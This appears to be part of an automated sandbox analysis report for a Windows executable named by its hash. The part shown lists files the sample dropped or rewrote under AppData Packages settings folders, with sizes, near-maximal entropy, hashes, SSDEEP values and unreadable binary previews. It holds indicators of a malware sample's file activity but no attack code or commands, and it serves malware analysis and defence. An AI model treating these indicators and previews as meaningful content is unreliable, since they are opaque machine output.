MD5:	88891D7A1FEFFDC50F3990FA4CF556BA
SHA1:	EB711872E4776AC7181A574BE6AB9AB1CA3E386C
SHA-256:	B95514E25949817F1FEDBB78EE9B7F96B890DC7EEBEE8A759DC5C7F8CEB55F64
SHA-512:	BAF0A64B6123FB5010A1867D3FDD4871E486998EA058C6292BE599554229A6812AA6168BC88F6F9267C885F821BF44198156DE5064BAF24644028D7BDD0856F0
Malicious:	false
Preview:	regf..c.HYG....&.../.\|.D)...M.X....0&.".W..RZ...DS.]..C....K_....D.2.8.....u.m# s.>.?.>...}..r'...BW....8T3.I..w.K8....ed..+.."i.n.....r#r.....!Q}q...r.Ko.5...y......b.?CG.....zU..f$..BX:=.mc7.H.....S...^^p...m'>E....k%.a.._X.(..>M......z..9..%...JQ..C.....w...A.9.i.......0.....9......S.73.HS..E....>!....~."M.y...............f.....NE..8E....u...:...)..u.Y.Ulse....=.&.......)...b........#1U....".2[....]......%.w..ef.F...H..Qj.R.-....o......8....Lh......Y.9=?..`...KV....m.....F...2.~\|K!%..S...T2q9.%.5.......9...Qw.<.....;c{.].Zq..)Fh..MG..2...vO.E.A..".L1G.J...8.%....;.i..m.._.LM\.~?.]8`.Xq.T..x"..N6..8h.k..... WT.]&;].,. @,..6u(#%v........:...I.Q.'.~IA'X.b].....O..........<x&..c.1ZD,L'=u...}e\tq....`.E..w.6..:D.....D&...d.^.....UK..}~z..g..nN..4}.a[..hiO.........,2`........Lo...2.>.,.b.fP/.1.)O.#a=.S.-M0..b7]..v_..D.=....B.u.......Y......J.D}n..t .A.y<p.>foNU....?...........lL.K...pB-.../..b...i....R.>.B*........@.....LR)D..>z....

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976436911718169
Encrypted:	false
SSDEEP:	192:s+ROu+xtDnML0tivcWnMZ5qUOcSgBS865q7EDMK2/Uwkk:sdRFMQtKcWeqdYS8esEBk
MD5:	B0B86D1B480FB5FF1CAE212631532437
SHA1:	3C6DFD0A6CDDD45BB49CA2AF4EC0F809648000D9
SHA-256:	DF0CA1391BAF2BF0CE7D8B673DDE5D264509B7053CA5C196931E8EA0E3812A8C
SHA-512:	D2CEE46873496803FE9153F866E62F85BA5AC463E5B469A78B378A4409F132A6F3C02A72B7D859D746912B6A75B0316664788E413CB5784C385FC3A1C3F2CA4A
Malicious:	false
Preview:	regf..'qCi..X..-.....c&....0<....M..3.Xj......{C....gp7:.r..".R...s`.x&.. r.@.7.C.!.....(....F..\Ue..gl ....q..%x...s..q...c.....k..K..~.Ua..tz.d.~....C.\.....4..i8.l.=a.g..(.....TK..it.Wg.#.fh.6P..j.i...Y.\|..s........u8..So........"!....&y.X.....'v...a.. .T.%E.8S.yjt..%u...5.Lo\..P..$[.J}....k..2 ...(.[Z.Az.$%..Y3...\.oO...B.....y....aChNr$)(.......z.2..f..6e.......e.).....G.....s[..Id.JS...%.......B.IB.+..l....B .......Z.}1.....P.]M6...q.....(.r.~~...~.c.L...`...#.CP=...g7`..kI.8..!.R^.c....c...l..D..i].?..]..,,...k.o.y.....6.......t.mLA.oY\...;c..\|p..P.I..wDe.g>Mh&.....3X.>......K.5~c7.)/...Wt.9J%...n5......:.=.....@c+"r<...i./.e.,..K.-..he..C.\|Mu).A......g+..>.IGh.74pO.Il..C.q..OR.......L......U-../b-..H.w.s<.......o..'..NX..y..x..Y<...Q.#.F...<.M.4.i..../...H......W. .W.;{.R...v...).`..\m\|:..N.......F.}.........W.....=3M....s.......<y..-.\.p.c\>\|.FL..Z.........].k..6.....b.e.....?..U.............4..5..\|.....,....NQ.p^l.U.`.\+.

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98027085444114
Encrypted:	false
SSDEEP:	192:mu4Q3L34S+XkvWI6ZHFBN5uRsCqFd/++CkG71U3Y6qzPZ:Pnss6ZHFxuH+OZauzPZ
MD5:	CC960AFA70D69D6F65E4F5A2939F8D8B
SHA1:	764F56E9690C6DB370FB147623E1BE73212849BF
SHA-256:	C201DD8FEE18DF0425DD8E5E92944CB0E6F93F69851FA02B152FBC15C76C6060
SHA-512:	6DD180B8FDA81F94F39A8C1967F48600A481447FF5C94A1F8691687978796638858ABBD091B69A7C2A25CFCE3DE0ADC16A309F9A71033735F828D1D292FE8F04
Malicious:	false
Preview:	regf.3].h..8}L..D^.......n..@..P..4K..0O.k.k....V.....'..o....R..v.......:U....... ....P.\|......8....U..\..BL.-{....Y.\|+$...G.....=.o;.wmy.....]x.....ii....:..1t......w.]..\|`RC......-..&.x}".T_.U........AwU:.fXw.0.{..R.).=.w..Q.)...^k......$/3H)f..}.....3..<kMT..J^]..........y.?...A&c.4.^k..X.L.^......O!;k.[9...v..7.....J...^8.~.v.SAZ.:.sw.!.Z1E.z..4.O....F....P....9.SN!.%]i.a6....&.:...oy......o.J+#..4.]..{.+.....Y..}..7E.vV....v.Iw..o.k....}P..[........K'....W..!.....ub..S..ouRuC$l"...5p.....G+...z(G.iw....]K....}.H\mF.v......].W+..x%.C.P.%...\{.fma..L.S...Kh)6V.%..../\.-.....-W.j..&..!_.e.=.S.T...*ws./2x..V......[&D...\.......nw\fM..=.z.jr..S.{v.Q...N..S ..j.z.J...m.\|.....D.X.`I37...z/..b...h/s..G.>..w..b.-#.#w-S..C5.}W.T....[.ju.'..j/.k.v.,..u.m{.4...m..KQ.9.+8.Sn.....`k.Z...T,U............!D...h.t.1...7`.Z4.B.q......%.V;..Ot...5R.....\|G{9.IWd.]...p8...G+'>._..&GH".1...G...(..E..... .<.i..Oq6.X0z.../..,_......~..4.BX\|.2T.8..$.f....

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9772720735013944
Encrypted:	false
SSDEEP:	192:sF9byb4VEiQBVFx9sbaYek8lmq59JCajbg:sXbyb4IVFxKuYekGr59MCg
MD5:	6AB44981FBB73486C620F806231059CD
SHA1:	940DE7551F8E0B2ADBFED4A579A5D7ED9980668A
SHA-256:	73493DE73E4454E3FD06DA8F2CF4A72FA5BBF0CC89A98D2F1D07CEDF79A958D2
SHA-512:	44B836DA3EFCAB9212ABFF9BF020BB55F541E72494C0477C77E51ABA7AB5B701CDD20A0CBB91304CA0950E141CC2239269D8018EC82F1817CDC04AA2745F467D
Malicious:	false
Preview:	regf.NF.ld.....'.......6.i...\}.A..51...5....'.1...T.....p..X......89.t.x..?.v.<;Si...\|...~...uj.......A$1...^]e...X..<..VW...G..f.u...G=F.NJ.f.`..1t...lo.!.............#H..M..U<u.$.u.p.M...9zN[..rU[. .hM..9U...eAQ'J.F.....{.7}G.vL.8..N..9.u.n...<5M}....Jtb.:.......a.r.E....n1.0:.?.[V.R.D[.....a.S.x..\.c.p.....a.y;.}.Yw.I.f.S.3.-......Wv/..."Z.g2...9.....J.<.V..Q..Hp.&.....$ .....z.~...Z....~.y..........H...T.O..C....0..'Vq..@...h.5.P..B9R4..../.8Y...[....;,.8.....(s"$=..rJ,..x.^%..Y.v....~.+Jf+%.kA`.......L...f..wY.Y.b...E.A..-vs.B..L1w.3/.s...{M.l.EV..E.....\b......q.ASM......3N.].../.m.}../z...pcl3\|Q.....py2.#......Y]..YpD..G.f.a...=...+.&......-.."....... .`FPw...._"...s.'..1..T]..D.i.o^...K..J..p...o,.;..%AI.k.. P...l..<.@....(A..)i.G...`.T\|.':.T....k...'^....z.Z..ZQ.a....OPp.S......)H!7y.N.....8....S......k....._.Y-(n.1....#K.:.p..8.b..h.Xi...J..f.H1W.#...k..HQS3....r[D..<s.)b...v{v....M..d...5.[..........eT\|...X.........Q.H........2

C:\Users\user\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977916334513125
Encrypted:	false
SSDEEP:	192:CxXMDkGxW0p/K2dS8yfYRRDy0VzA3JbsHFlN39H0nl3:eXMDkif5K+ScfVAFYF+x
MD5:	17FEA130D82EE5A6C953B19A2F7BE6E8
SHA1:	22488F92AA8E60416B6B49629F4DFE9736228232
SHA-256:	332DCF7FA346480705DCA69F7532F3FA0AB8A90E6B459930765FDC4943951E9C
SHA-512:	B1F56000B4F12A34406F3BA50F10EDAC8D3FE26DE4E0E35E3D5FF36016A51F87199BD8929733ACC6E671C64E8FC1E3F5B86C91EF005F3E4873C08909F3A7F95D
Malicious:	false
Preview:	regf.8..........!.......-....d...^..%p..R....U.\.)......s.V..@.v.....].=3..Y...]p.........>a.h(.W..n......1..i&...B..d.6TC,..O...\|.C3=.Fv......:..i}!.Q.Oi..p..W..N...F@^f....+..KC4.g...............9...a.p.p.Y..G....u.....t.a.P...."......9..m...&E.....a.V2b^....,X.3.A....1t6.B.9.S5r.ZU...U.W......M..._\.....b..C\|.J.z.;\q.!...FU.h..j...nq.0B(4..4.y.\..!../..@KN.].K.....e...a..;.{..q?...m`gSB.+sPc...\|.M.......-..W..l[.~G{.F*..!...G...P).......j..0./..f......\...w..j...z..-....$...}...f..\..s.F......W..........L\|V2..t.e.$......hB$.......T,g......dt-.A.7Ttt..Y.z.H...~s..`...GV..n...+_.....`a.Y.l.7........z.5ix...w.Su. .C....~T]..@#...Y_..r>D.T'T.....i.9.v.i....?}7.-.........]..@5!..O....C^.......].....\|I1...........i.l.QpuB..........^.c.R#.h........=L.qG....5...5p.X.U..Z.....O.".;2..n..7..P..p.. .....s...0]'..\.T.,e...\|..Z).......e...._.h...".k..>.;L....i.1&X......~7..8."u..+.e....A.(....N..2LP^.jF....4.`.........R:...6Za...MO...U .....:7.V9

C:\Users\user\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979484887918549
Encrypted:	false
SSDEEP:	192:wiZ3IFSpk3J7l+yItEM2f+k7N03ALAQ91FT16cyCpLkkcchg4ea:JZ3IFS0VlBh7OA59HT4cyeea
MD5:	D56D0F6746DBBFACCDAE563F11CDCE09
SHA1:	714B95A8704F00F0FFC77F5FD55A307A3FE661D1
SHA-256:	A0A8AAA47388EA073C5B5B4863348545247F70E16903A745CC51EEC93B025366
SHA-512:	E35DBE3B1E50D64C5BBC437D5F0D106075771B5F9EEF5A310B505AD75527CBA401AB816192E0B3416D531544AF82DDFCA70EB7C53E55A2F6A21257B43E58E0DE
Malicious:	false
Preview:	regf..qv.I..Qu...[u...b%.....c=.......f.Qh...W........OW.<........@-.&.WL..6..9v6.6...".`.g(..b..C......+g.Z..T..w"(.i..B....rv6./)m.#.....A. ..mi."....7.-..w..jb.-D...&..\|..TV..fc.?.........b.T...R.IW9...!......`.yhW..W)...g.R.b$...r.N._..._A.............5C..K....K`xg......:...&..E.mS...0..<<..F'g4...)e.&....Z?jQ......%.\+Yd....=.Q.#..me<c....k^.G[.~.\goZ.G........}l./7....s..bF.f.=....].F...2.[.D]..z)...!.f..r....0...c.LsI.t@.-.....)..C...\.....<n.!...c.A.r..N.....5......A....8...q+....1./.S.....A%.$...@\.J3.KP.:...;..5.SO......,F...o.0.{..bz)...y..@....vcP......c......".6....,........ .b..n......NF. ."....2.jCkcV.......S.............,xp.D@Zex-.Pe.,.$.#I.CH.$>..-}........F&...d.!M....`.d...V..?8...8.8H......_...,.,p.>...QEV../DN."S$........T.iK.X.$..fo.?9.Zo.t..i8.x$..\|..B.......7e..R`.\j$2....}I.j..i/..i.l`..?V......x.U.?..rG.V......\|.....YQ.v.S!N..$.}....K?..[...Y.....V.a..#u7...Z...wR.....A......8.t..p..`......1...Wi....x.\|...<.3...

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97763542930434
Encrypted:	false
SSDEEP:	192:RrxDhZCq3JfL0rTEqSfpa6mrZrI/Xn5bbS14/ZftETML94QZn2Z:Zth8qZYrTP6mRIfn5uIZft1L94Qi
MD5:	1C7198382D84C2982E822E296E84D0E2
SHA1:	5D11D72B5ADFB3DF0B332C28937C0865719898E0
SHA-256:	959ACAD12F3BB9EEBF1D5E324B6B5F4A36EA5F5B7D242E957BF60FC53D3F857B
SHA-512:	CC98FD6178657EBF7C24E3D0DD9944B41110127558EC090913A9516BCBD2B879A4A7BC1BA86CB6D17FD9B6E6E47935CD2B5911B3511AC6C002069CE008EBA044
Malicious:	false
Preview:	regf.....8....OD.#..uZ..z..DSS'._.8{....1..u.....c..r...e&.f2.eu/....Q..L.Xf....D..0..xm..VE.............':x>.^.1....w....I7BD...DbZ.....$..q.P....b.th..o...@.N.n_.....Nj.h.]^y>`37.....,..k...~SH.WP......).K.nm?.8.R.L^.g..!..h...u2.3<&.g......P.M`?,Xd<.w.U$ynC..+..&..RA.2G...&J..5,....O.J..`....7}.....$..$.oT3q.2+...N..%..[O[.Qf....!.V,....t.....H..y`.aih...V+.....i.....a.....a...{.!K.....Ft...\|..w.....y...N.&P.<..r.....L...1..5..K.BI...;9i.......4..:.$......,......A ...lu.'..^..)....]\..O...}}C.gy.r..?.....Am+..._...>>.v....E.*.M.. ....(:...Z.0.ruD1.%]S.h...c.1..L7.H.....,'W...<n..\|G..&..e..tB..Y,C.1....j..j.....q..$..qt.8q-.v...v....kQ}>I.`y8..#.).?hH.d..P.u....>r1e.@V......R.....Y..<.,..yK,[Do..4o.%(..lrz....L..)^.,....t.&Fc.>6$...r....u..s!.y~9.G.J..;/....q...)J..6..S.q.B..P......(&\|..".{..\.q.BH.kp..4<G.!c.9...Hh%..h.......AF....b.v.!.`..,$.Qa:.t..y...yw..Ie....`.....ab..Ktq........(.k...M.eK..<.._f\.[$.'..a..i...+H.S..H.8.O.-..B...j; .8..

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97886020914138
Encrypted:	false
SSDEEP:	192:hEj2MEN7UlNckzVk2QKLWokw68O9j8ZNpYxp2YBPe9TSzH:Gj2MEONcaVk5K3r6CirVeq
MD5:	15602A08D2950C0E6D6705BE34C9DB06
SHA1:	0552E9C30ECCF029429387F7725E0357BC08B084
SHA-256:	4172E16360C565A02BDD84DFF8DA8D215DA0852884119E4F58DD67A6EFC84A90
SHA-512:	8F16357D492677225F01FA842532D1D20267FD64FD8AF14A682506C25726D6A17D7327C071E6B833EC15A36964F659AA13501E38ABF70D36FC59A9C70E934740
Malicious:	false
Preview:	regf..6..y...............-.2....e.Bb..S...V......9...B.h.V...%p......J..l.u$.3.A^..<`.R...U1%.&W.)....Q..:.s2.\......C....A..caw..mm..V....Se.;v.....JV^.d..W/.\|..@A.(.../...]...zF.....#..O......H.^........k}...>a....]....`.i......%~.u.....~o...........P".O.1..q.dc.vA?....]0...%......!jBH./7n..@...G.'..4...&....s..V. ..;t..B.;]..../V.E...-p......@..R..b....G..}A2..Rsb.R....Y...}g6....2i..s.,.G.&.,.j........y<....).L.r...t.6....R........^f.wa.J.!.hK%?!..9.e.u.L..=..1c.i....d3I...A....I....CN_.M..1...b.....8.f....C.q{dfv..(.a..#.{$.R.JN\|^..E..g...\.!..M.a..t....X....4].6P.j~....8j!:..S..A..J.)jAm.QV...J....H..zD..6..wh.NL..G&1>..i$x8>..8i`...T..!&2...>.u.....,q-.....v.Ir.ox.[O1.<.{=..H22.E.....I..iI.....6.d.\|.l..I..l.Y<cH...pd....Q.Zb.~eko".....^.......Amx2....-0J. 7.X..d....h.=....'3d..Ls.R...c..e.....n.'@?'.f..`.!.u#!..O.dL*..e...tv..g..z...]l.....\|....e.....=...z.Q6...]:0.g..Za....4.....p..kL..U..._.....Z.<...).c^.l...g2<0....V..!g/.93>...

C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9797878717840085
Encrypted:	false
SSDEEP:	192:ctfqbmWuinqtTDne5gh3b40meKhEuA9W02SsyOyDUrjxkAVS6:c9WG/O23c0QK9WtS98qAVS6
MD5:	1A4EB0582F6B67341176AFD2D4081620
SHA1:	EDCD4EE3BC6EDE7E45146822D1947546CF8152BB
SHA-256:	14616F5A87A72DECEA590E10D4EF6CFD368906DE04BD946F1309184A51926E66
SHA-512:	3A68A370F4021DE3B376E158EBF662D177C35C76784919086907353C368A45CF1893A6162068FDB30FB6C726D56D155C1BFAA9D72A1CD889920EFB11A6ED7E7A
Malicious:	false
Preview:	regf.f.Z.F..3..s.Z....4..).........s^....J.9e.Dz.#.WC.{..f..gE....8..^w...Z.......u.=. _.oh..f.{.h$?.....f0g<d.....E.....Y.I?1.....M>.b@..]<........af.@...#....9....q.d..as....2...-..z..K....U1.2....%..p........r.Z.,.`.@.u`....].eT......].r.....68..d.89;B.........-....6.y.N....H..9....K.=.......zQ.j..n...U.<..._..EE..8.JT..p....1...D..,..G#.%.Fj.7,....@.4.......\N..j.:...$..>BFl.[q3..b.......T.q....Fi)<.....lU.....\|XC.k........&....{G0 ...T.MU.^..@..+...Q.$7..V.......Y....c.`_....g)..:.S.<..}....d..U'.8...g.].s&3......qJ2..Wa.Ql....70p....K..p..@Y..F!^<R...U.v.d.M.Jy.n..?.R.5ZK5...IN.I..1.....<...h.8U<.y....&...Ei...[?.....].9F.r8......8b9..W..n.\|A.MR..-.W...5.....+..R[+...Z...^.Fi0\R....?:..7..x?..v..5tgT2`....~v.........R+...z.B.w..q.k..@Tj.......w....xV:....E.~T:.\|:..]..'...Z.4$k....p..l..`......'. ...9]...>...k.c.(.>....!.8!!..l..y..uv.J..B.o.O.`k...IK..%..Mq.+.. m[.>.eo....-\.I.G..@.n..G5..[.W. Y.j...ue...W.H{..#.~.../....G.^..IG). ..

C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976084934624312
Encrypted:	false
SSDEEP:	96:qnImE4Ow/aOQsdeBkg3MzzVt0Qx6m5YGNI7EMisIbE8QV8+ERL08zOgWfq4/+V82:sulOpvd6f9lisIQFVyS8zOX/A88jQm
MD5:	F0CBD5C66C645F852DEA32643532BD44
SHA1:	C33283900190FE888EC817CB37BCFAC84E6E09AA
SHA-256:	8CFDBC8AEDB901BE3EF914E12BCF42C86FDE88B90AF25A80E665FCF019550579
SHA-512:	7AD40DBFE1E8D12D828098EFFE92E83597252FCFEEE5ECC6B491A2E6DEB90BC81CE5130AF90169B9D1473B33189DB539D415B2A8ED7AAB146D9464372B4211C8
Malicious:	false
Preview:	regf..o.S9XaQD(7...g...Q.....,..?=....)...Y....SE...=^K ...RR.)....9{#.I.l.!.....~.[...^do.;..2o.!..v.dP1..8&......D...r....].R.?FW(=Nc~d..Y{..I....\|.....Fu....`..0....\.V..?R.Zd.C.,.._.5...9.......5.N..j^.s.].U.....t6~.#.M.`Y .T.....b...k.21..B[G.....Q.y[$.!.M=...~.(2.+. (pd..`X5..E.8.....^..x!_.j...,:cv...r..<Zq.\|I.y.+.U..._gS.....6..R.Fz. 9....F6.sK...V...W...q...V.H.3..Jh\|...i.Z.~.U..Mq.t+...F.ve.,i.G.?6.....E.......N^1"...$.....b!.A..=.QC.;..V.sB...S...a+..f.u.......?..X.Bm.*....s!..`..G".x..;........`..WQ......_".A..\.x....)...T.IN.y)....0.v~..o......K....EK..J.y..C.B.a.i...~.._F..!....R.....).....J+q...........Sf:L......$...@...J.......6C.U.[_V~h[..<.............M.<.o..N...,.T.......!...Z...rlvZ..@....!.r.m.4]2. ..9...E.9;-..0..B....p...u8.G3..../.d..2..6e.Xa.."..i..~...?.w..\|....O.7.j....u.....E......?.\q4...Y"9....9.V!.Ic.G..bS..n(.[L=..".!^]./....:,.d.A.'.g...U.v^..;.p.........Au....zX,...................$../..y,3.R.$..6

C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97819767514823
Encrypted:	false
SSDEEP:	192:TDSc9PCmAP7OrRFjxvobedViGRk6LbETRBZpSHpoBRrAOeM:TDSc9gP7ujNQedQYQwpSn
MD5:	D29757FCDFCAA84A8117C8BF07F70BAC
SHA1:	4EE8D1654387CAB26E02094CBE01661BAC9FA02F
SHA-256:	DA38FD7B8052FDB08A7765350F9F74B374A1B65242577A6AB451593F208D7C0C
SHA-512:	1FEA6FF74A191A0A34D02FA6EDBC60B891C2A9CD68FCAA913786BD6FA38C610C6B0B0A8A72427E68123466CB272FE0DA27A95C90F6DE6F6420A9321D5FF9F1AB
Malicious:	false
Preview:	regf...X..?m...UQ...{V!.+....Nf!.N.[........b.2.pO.9.4!%.!.....0..Y......$..9I.v..(rWw.VU.{S.D)~6I0..3.;........2.4...c./.Z`. k.=.......%.....'.d......- t.6a.E.L.I..e.=.FV...@[...D<B..?r.j...7.<......~.~..k....l).b3..1."y.M..3.....P....o.c.B..V....Z...R....i..e..-.....-'y...-?...}n...N..ypZ...V.~..%.......;P.O@.)..9.;B.G......d.{..r.7...tL..%$E5......c...'..0..5.?V..P...ng.C..p=.D.'Ku.O...4PX.l`.>.F..fB...&.m..{...a..X...5x.OEn~@.....M.=.Cd..W.]...co..3y.H.T..U.t"{1...C.eP,...2..E...>.s...D...."..B.a..{...ly.G.D........U.8R`}g/.._^.l{........g-..8.qOfe8B.s.9...l.e.T.........K...}s..#.M....%.%.....)..U.\|....]-...=....Y.....1..YL..X...Z.e.K<.WM.4D.../...A....2.Y.s.?Q..w\{\|....O.A.TL..0.....y..<.......5..(.2cB..m.&..[{........4z..{p.6.]=(..O..2u.'.6.M..DR..d....A.........E......0I....N.Zv..EIZ.z.vTW.<WKF..g..0..x."...R{Z.+..Q.P..F.q......\....$..h.B.V......B.J.....1....c...1^.j......y.t.'....]..T$.N)......,..?..i\.....G.........^..i.'

C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976923538007476
Encrypted:	false
SSDEEP:	192:s0nJRvhohr1zmeQk3NaNB9GXcR9QZqB3A4Qi74UhTkQTQJy:s2ot3N8iXK1AO75dkty
MD5:	AC50F499782F9FACFE197E1345A23651
SHA1:	D55486E56377781A2FF5EDE66898BDAE211FD1E6
SHA-256:	8199EA42D03AA44BD91B860D07928F252DACDB665544054F942CF4D7D4ED5582
SHA-512:	E3AA28FD383E1ECF5D3816E0371ABF39C4E2AABC7ACD42A80F313E311E9DA125B0F0BF5DDDA2FDBC1AFDA45758756AF6D06C6D4D66D8339A2D42809D98D5D9AC
Malicious:	false
Preview:	regf.Q...!8.H.s....s..H0C..)..H.N........C..B?..u?G.{....d..Ij.\|Gq./.7...........~-."9!1G.f.d<.p.f.......`.X.E>.....w.[t..H.FB..q...$z+1\.. .4b%>.x^.C.s....4.....x...h......2....\|...7..(.3.G.R.t....U6.TP.}.......1.....OXYh.qo......B........0)&..a.1....)..`.!."..c.6W.g....".r.~......g....._.(p.......qc ..3.....NZ{.^...........z...!..n..q)].4U(.....g._c{........7+v.#.r\._h]..~/.O..$;...e.>ma......V^F.{.Z...n.0@sN.]..)W.-..%...+.13...#l.".N..r.UM.Y=sk;.H5q......X`GhN......Mp%.W^.>.R\|.n.r.D....dn....y~..C..f"M..fjM.O....!......E....L....9/....Z.v..'..4MD.".v..w..:{...Yu....<.P....n>p.0.[o.r.`B.......>..)%..0.a0+.......\....2.4k.2.;....x..^;..t.,.{6..<7..O.?.V.$P."\|..O'.Al.l.....4E.._j.1..4..s.r..}.\%.z.hF....M...O.KN.f..[.SJ0F..k.YQ...LS...R....K.+..-._.............K...@.....W.....P.Qf.)o`.{...S.....:.G.SiT.....4.!...8v.....8...".g.,..>..-t.d.`..K..;.b/....d....2<..Y.6.4>.3s...].S.....;..e.-.......i.P.:....[.2c.oB.&g.m\........l1.[.R..

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9804210046956445
Encrypted:	false
SSDEEP:	192:H5QoKQRVpgtwAwYGkqAylHZsV9GRe3HM2U2WqlP:WoKQRAtwAwLkqAkC9ke3s2JWYP
MD5:	E4CE9BE47EC50D14986B1E14CE8EEAD7
SHA1:	1088F6D9D1D2CDF1AF3915246BE8F47642D84A26
SHA-256:	70E2F6A3D43ED280D3BDE000BA133A7F539E47FF4A9D89601BA90974412A66F0
SHA-512:	6131A12C19D0C6069DE7002F22331433B5B143C89897703AA38800064D4F6048D43C4F14A193276DCD21D1E7B815D4BB33B5C7945703B7EBC2D4767BFD590729
Malicious:	false
Preview:	regf.aC...<.Qw.L.gB.`%....TY....>.U.5-?,\.H..I.!.!u....$'.)..L........-\.......l.H.@...h.fe.....2....:i.j.....d.M..N...h...Fh.H.N.....Z.....U`!...X.1oZ&.I....H...A.{C..;..{.P...p.JWv..Q...0.!&.]..Zv.0...1p...HT..I...tE..fo..Dv.b...d.(.~].q...L....^q?..h..N.VsK..$....P.{.>.F...%..SWK2.J5.Bv.@.;\|r.B((....,4...........\|..j..._v.....we.e....bU?......@.W.....8}.o.....K.t......YS.Y(....\.F..+.h...n.z.ZZ.z..T%...6.N2.G,.>.....x.rM.{..:.y".....L....\|..+.......\.........C..E....YK.....'.'Q.z..H.l..%.....R...+I1.9.....f....q.E..@.....(..25./.Rff<+..w..V9.e.....-.e.h..=a.T...$..}&...Z.~.uf..>3. ;...p[.C....;O..iyI$<..\|...%np.Je.D..................q7.C..Nb....Jg..ei. .Y...Z....3...3..../..=..2....g.-..oa../<..@Tb1...HB...%.B$*.b]...g^.u..M.-....E..0.f.]".[.....o.H$t....n...g..G.....$0.8...Q..4...c.[..T.......>..RI...d..]#.wt_.......]..v..A...+....pL..m.DW.....(...Y..^.@..C..XMB.....a....(6..q.R..WD..4{Y:......}xY.]..z...;..q....#.....e.i..v.

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9788166889035175
Encrypted:	false
SSDEEP:	192:RKbv4ATIVK8PtkxVyoXxQ0c+18Q0negkVPjiU:RKbv4ATIxFgVyGxHci8Q0e17
MD5:	BD27ADE1A37B9F8002D3C60FA1E3351B
SHA1:	60765EA4E26E03FEE218B8C78703C533CBA80506
SHA-256:	D37DE447D7D39917AECA1ABE0B91D0EDF5165168090739388955223A50331DEE
SHA-512:	BF474B975ACA89A0B6A8C5E6CF75A0398E764A4C8CB9669C265C982127984773D3695AAE0D56D1BFF5FF2A7CEF99AFFF8BCE3308768A78D4AA8E8159A7AD05EC
Malicious:	false
